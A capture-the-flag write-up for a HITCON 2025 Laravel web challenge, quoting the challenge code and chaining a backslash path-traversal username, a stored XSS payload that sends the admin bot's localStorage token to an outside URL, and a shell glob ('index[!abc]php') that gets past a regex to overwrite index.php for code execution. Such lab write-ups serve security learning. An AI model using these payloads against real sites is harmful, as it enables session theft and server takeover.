Post

Hitcon 2025 Note Write Up

1
2
3
4
# (...)
ADD flag /flag
EXPOSE 80
CMD ["apache2-foreground"]

to get the flag, we should trigger rce cuz the flag is in /flag. btw i was working on my job so i have started to solve it a little late. and to get rce in php env, we should upload a php file or find gadget chain that leads to rce

routers and middleware

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

use Illuminate\Support\Facades\Route;
use App\Http\Controllers\AuthController;
use Illuminate\Http\Request;
use App\Http\Middleware\DangerousWordFilter;
use App\Http\Controllers\FileController;

Route::post('/register', [AuthController::class, 'register'])->middleware(DangerousWordFilter::class);
Route::post('/login',    [AuthController::class, 'login'])->middleware(DangerousWordFilter::class);

// New public route for serving admin files
Route::get('/announcement/{filename}', [FileController::class, 'servePublicAdminFile'])->where('filename', '.*');
Route::get('/announcements', [FileController::class, 'serveAllPublicAdminFile']);

Route::middleware('auth:sanctum')->group(function () {
    Route::post('/logout', [AuthController::class, 'logout'])->middleware(DangerousWordFilter::class);
    Route::get('/user', function (Request $request) {
        return $request->user();
    })->middleware(DangerousWordFilter::class);

    // File Upload and Download Routes
    Route::post('/upload', [FileController::class, 'upload'])->middleware(DangerousWordFilter::class);
    Route::get('/download/{filename}', [FileController::class, 'download'])->middleware(DangerousWordFilter::class);
    Route::get('/files', [FileController::class, 'getAllFiles']);

    // Admin command execution
    Route::post('/admin/testFile', [\App\Http\Controllers\AdminController::class, 'testFile']);
    Route::post('/admin/report', [\App\Http\Controllers\AdminController::class, 'report'])->middleware(DangerousWordFilter::class);

});

this service is built with laravel and exposes the following routes: /login, /register, /upload, /download, /files, /admin/report, and /admin/testfile and etc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
    public function upload(Request $request)
    {
        $request->validate([
            'file' => 'required|file|max:5', // Max 10MB file size
        ]);

        $user = Auth::user();
        if (!$user) {
            return response()->json(['error' => 'Unauthenticated.'], 401);
        }

        // Sanitize username
        $username = basename($user->username); // Ensure no path traversal in username

        // Determine disk and path based on admin status
        $disk = 'local';
        $basePath = 'uploads/' . $username;
        $publicUrl = null; // To store the public URL if applicable
        // Assuming 'is_admin' property exists on the User model
        if ($user->username === 'admin') {
            $disk = 'local'; // Corrected disk for admin
            $basePath = 'admin/';
        }

        if (!Storage::disk($disk)->exists($basePath)) {
            Storage::disk($disk)->makeDirectory($basePath);
        }

        $filePath = $request->file('file')->store($basePath); // Corrected storeAs parameter

        if (isset($user->is_admin) && $user->is_admin) { // Corrected publicUrl logic
            $publicUrl = "/api/announcement/".basename($filePath);
        }

        return response()->json([
            'message' => 'File uploaded successfully',
            'path' => basename($filePath),
            'disk' => $disk,
            'public_url' => $publicUrl // Will be null if not public
        ], 200);
    }
    
    public function servePublicAdminFile($filename = null)
    {
        $filename = basename($filename); // Extract actual filename

        $filePath = 'admin/'  . $filename;

        if (!Storage::disk('local')->exists($filePath)) {
            return response()->json(['error' => 'File not found.'], 404);
        }

        return Storage::disk('local')->response($filePath); // Changed to response()
    }

we can upload a file at /upload and retrieve it via GET /announcement/{filename} (handled by servePublicAdminFile()), but that method only serves files located under the admin/ directory

uploads to the admin/ directory require an admin session. therefore, if we get admin access, we can upload a file to admin/ and retrieve it through servePublicAdminFile(). when the response is served inline (e.g., text/html or image/svg+xml) without sanitization, this may result in xss

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
    public function testFile(Request $request)
    {
        $user = Auth::user();
        if ($user->username !== 'admin') {
            return response()->json( ['error' => 'Unauthenticated.'], 401);
        }
        $file = basename($request->input("file"));
        $dst = uniqid();
        if(preg_match('/[\$;\n\r`\.&|<>#\'"()*?:]|flag/', $file)) {
            return response()->json(['error'=>"Be a nice hacker"]);
        }
        $file = "../storage/app/private/admin/" . $file;

        if(!file_exists($file)){
            return response()->json(['error'=>"$file not exist"]);
        }
        exec("cp $file $dst");
        
        return response()->json(['output' => "/$dst"]);
    }


    public function report(Request $request) {
        $user = Auth::user();
        if ($user->username === 'admin') {
            return response()->json( ['error' => 'lonely?'], 400);
        }
        $url = $request->input("url");
        $cmd = "node ../visitor.js ".escapeshellarg($url);
        exec($cmd);
        return response()->json(['message'=>'ok', "cmd"=>$cmd]);
    }

the admin methods testFile() and report() are implemented as shown above. the testFile() method copies a file uploaded by either a user or the admin to a randomly named file generated via uniqid(). the report() method makes the admin (bot) visit a user-supplied url

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    public function handle(Request $request, Closure $next): Response
    {
        if($request->path()==="api/login") {
            return $next($request);
        }
        $dangerousWords = ['badword1', 'badword2', 'badword3', '..', 'admin']; // Added '..'
        $rawBody = $request->getContent();
        if (is_string($rawBody)) {
            foreach ($dangerousWords as $word) {
                if (stripos($rawBody, $word) !== false) {
                    return response()->json(['error' => 'Request contains dangerous words.'], 403);
                }
            }
        }

        return $next($request);
    }

several routes pass through a middleware called DangerousWordFilter, which blocks requests if the raw body contains the substrings .. or admin

try to register as admin

since an admin account seemed necessary, i tried to register one, but the request was blocked by the DangerousWordFilter middleware

i also tried a unicode-encoded bypass; as shown above, the DangerousWordFilter can be circumvented, but the account can’t be created because the username already exists. given that, the remaining path is to trigger XSS via the report() method and leak the admin bot’s session

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    public function up(): void
    {
        Schema::table('users', function (Blueprint $table) {
            $table->string('username')->unique()->nullable();
            $table->dropUnique('users_email_unique');
            $table->dropColumn('name');
            $table->dropColumn('email');
            $table->dropColumn('email_verified_at');
            $table->dropRememberToken();
        });
        $pass = $random = Str::random(40);
        DB::table('users')->insert([
            'username' => 'admin',
            'password' => Hash::make($pass),
        ]);
        file_put_contents('/tmp/ADMIN_PASS',$pass);
    }

preview via announcements feature

1
2
3
4
5
6
7
8
9
10
11
12
    public function servePublicAdminFile($filename = null)
    {
        $filename = basename($filename); // Extract actual filename

        $filePath = 'admin/'  . $filename;

        if (!Storage::disk('local')->exists($filePath)) {
            return response()->json(['error' => 'File not found.'], 404);
        }

        return Storage::disk('local')->response($filePath); // Changed to response()
    }

we can upload files (e.g., html or php) via the /upload route, but to read them they must be served through /announcement. however, servePublicAdminFile() only serves files under admin/, while our uploads are confined to app/private/uploads/{username}, so we aren’t reachable via /announcement

normalize the path of the larevel

1
2
3
4
5
6
7
8
9
10
11
class WhitespacePathNormalizer implements PathNormalizer
{
    public function normalizePath(string $path): string
    {
        $path = str_replace('\\', '/', $path);
        $this->rejectFunkyWhiteSpace($path);

        return $this->normalizeRelativePath($path);
    }
    
// https://github.com/thephpleague/flysystem/blob/2203e3151755d874bb2943649dae1eb8533ac93e/src/WhitespacePathNormalizer.php#L9

one important point: laravel’s filesystem normalizes paths via normalizePath(), which replaces backslashes (\) with forward slashes (/), what?

1
2
3
4
5
6
7
8
9
10
11
12
    public function upload(Request $request)
    {
        // (...)
        // Sanitize username
        $username = basename($user->username); // Ensure no path traversal in username

        // Determine disk and path based on admin status
        $disk = 'local';
        $basePath = 'uploads/' . $username;
        
        // (...)
    }

uploaded files are saved under app/private/uploads/{username}, and {username} is the login ID. If we register with a username like ..\admin (using backslashes), laravel’s path normalization will convert backslashes to forward slashes, turning it into ../admin. That means the resolved path becomes app/private/uploads/../admin, enabling a path traversal that escapes the uploads directory into admin/ amen..

and since the auth_token is in local storage rather than a cookie, we can write a pocto leak the auth_token like this: <script>fetch(url + localStorage.auth_token)</script>

gadget chain that leads to rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    public function testFile(Request $request)
    {
        $user = Auth::user();
        if ($user->username !== 'admin') {
            return response()->json( ['error' => 'Unauthenticated.'], 401);
        }
        $file = basename($request->input("file"));
        $dst = uniqid();
        if(preg_match('/[\$;\n\r`\.&|<>#\'"()*?:]|flag/', $file)) {
            return response()->json(['error'=>"Be a nice hacker"]);
        }
        $file = "../storage/app/private/admin/" . $file;

        if(!file_exists($file)){
            return response()->json(['error'=>"$file not exist"]);
        }
        exec("cp $file $dst");
        
        return response()->json(['output' => "/$dst"]);
    }

now that we’ve stolen the admin’s token via an xss, we can call the testFile() method to copy the contents of a file containing php code into index.php

when we upload a php file, it’s saved with a randomized name that has no dot/extension, e.g., nuTClk15eXNn73c6RchkiAQrQfmZktW8qDL12C0p

if we call the testFile() so that it effectively runs cp nuTClk15eXNn73c6RchkiAQrQfmZktW8qDL12C0p index.php, public/index.php would be overwritten with the malicious php code. however, because the method validates the filename against /[\$;\n\r.&|<>#'"()*?:]|flag/, we can’t use index.php` as the target (the dot is disallowed), so i just decided to ask to chatgpt hah

as a result, i saw chatgpt mention “globs vs regex” and began looking it up. a glob lets the shell match filenames using wildcard patterns. among these, we can use square brackets to define character classes or ranges in the pattern

after several tests, one pattern worked reliably. the glob index[!abc]php matches any filename with exactly one character between index and php that is not abc. snce index.php has a dot (.) in that position, it matches this pattern

after registering a user with the username ..\admin, any upload lands under the /admin directory. we first upload an xss payload there and send its URL to the admin bot to leak the admin token. then we upload a file containing php code and call the testFile() using a square-bracket glob so that it matches index.php, overwriting it and triggering rce

This post is licensed under CC BY 4.0 by the author.

Trending Tags